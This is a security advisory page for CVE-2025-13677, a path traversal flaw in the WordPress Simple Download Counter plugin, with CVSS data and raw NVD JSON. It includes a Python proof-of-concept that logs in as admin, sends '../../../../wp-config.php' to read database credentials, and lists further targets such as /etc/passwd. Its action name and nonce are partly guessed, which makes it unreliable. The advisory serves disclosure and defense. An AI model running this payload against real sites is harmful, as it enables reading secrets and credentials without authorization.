Security Vulnerability Report
中文
CVE-2025-13677 CVSS 4.9 MEDIUM

CVE-2025-13677

Published: 2025-12-10 04:15:58
Last Modified: 2026-04-15 00:35:42

Description

The Simple Download Counter plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.2.2. This is due to insufficient path validation in the `simple_download_counter_parse_path()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which may contain sensitive information such as database credentials (wp-config.php) or system files. Please note that the vendor opted to continue to allow remote file downloads from arbitrary locations on the server, however, has disabled this functionality on multi-sites and provided a warning to site owners in the readme.txt when they install the plugin. While not an optimal patch, we have considered this sufficient and recommend users proceed to use the plugin with caution.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Simple Download Counter WordPress Plugin < 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # CVE-2025-13677 PoC - WordPress Simple Download Counter Path Traversal # Requires administrator-level access to WordPress target_url = "http://target-wordpress-site.com" # Get WordPress nonce for authenticated requests login_url = f"{target_url}/wp-login.php" download_url = f"{target_url}/wp-admin/admin-ajax.php" # Authentication credentials (Administrator level required) username = "admin" password = "password" session = requests.Session() # Step 1: Login to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Get CSRF token/nonce from admin page admin_page = session.get(f"{target_url}/wp-admin/admin.php?page=simple-download-counter") # Step 3: Exploit Path Traversal to read wp-config.php # The vulnerable parameter is typically 'file' or 'download' exploit_data = { "action": "simple_download_counter_download", "file": "../../../../wp-config.php", # Path traversal payload "nonce": "YOUR_ADMIN_NONCE" # Replace with valid nonce } response = session.post(download_url, data=exploit_data) # Step 4: Decode and extract sensitive information if response.status_code == 200: # Content may be base64 encoded or raw try: content = base64.b64decode(response.content).decode('utf-8') except: content = response.content.decode('utf-8', errors='ignore') # Extract database credentials if "DB_NAME" in content: print("[+] Successfully extracted wp-config.php content") print(content) else: print("[-] Exploitation failed or unexpected response") else: print(f"[-] Request failed with status code: {response.status_code}") # Additional targets for path traversal: # ../../../../etc/passwd # ../../../../etc/hosts # ../../.htaccess # ../../../wp-includes/version.php

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13677", "sourceIdentifier": "[email protected]", "published": "2025-12-10T04:15:57.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Download Counter plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.2.2. This is due to insufficient path validation in the `simple_download_counter_parse_path()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which may contain sensitive information such as database credentials (wp-config.php) or system files. Please note that the vendor opted to continue to allow remote file downloads from arbitrary locations on the server, however, has disabled this functionality on multi-sites and provided a warning to site owners in the readme.txt when they install the plugin. While not an optimal patch, we have considered this sufficient and recommend users proceed to use the plugin with caution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-download-counter/tags/2.2.2/inc/functions-admin.php#L566", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-download-counter/trunk/inc/functions-admin.php#L566", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3409876%40simple-download-counter&new=3409876%40simple-download-counter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b82a0f71-29d7-469a-8c69-5ab68d599cb9?source=cve", "source": "[email protected]"}]}}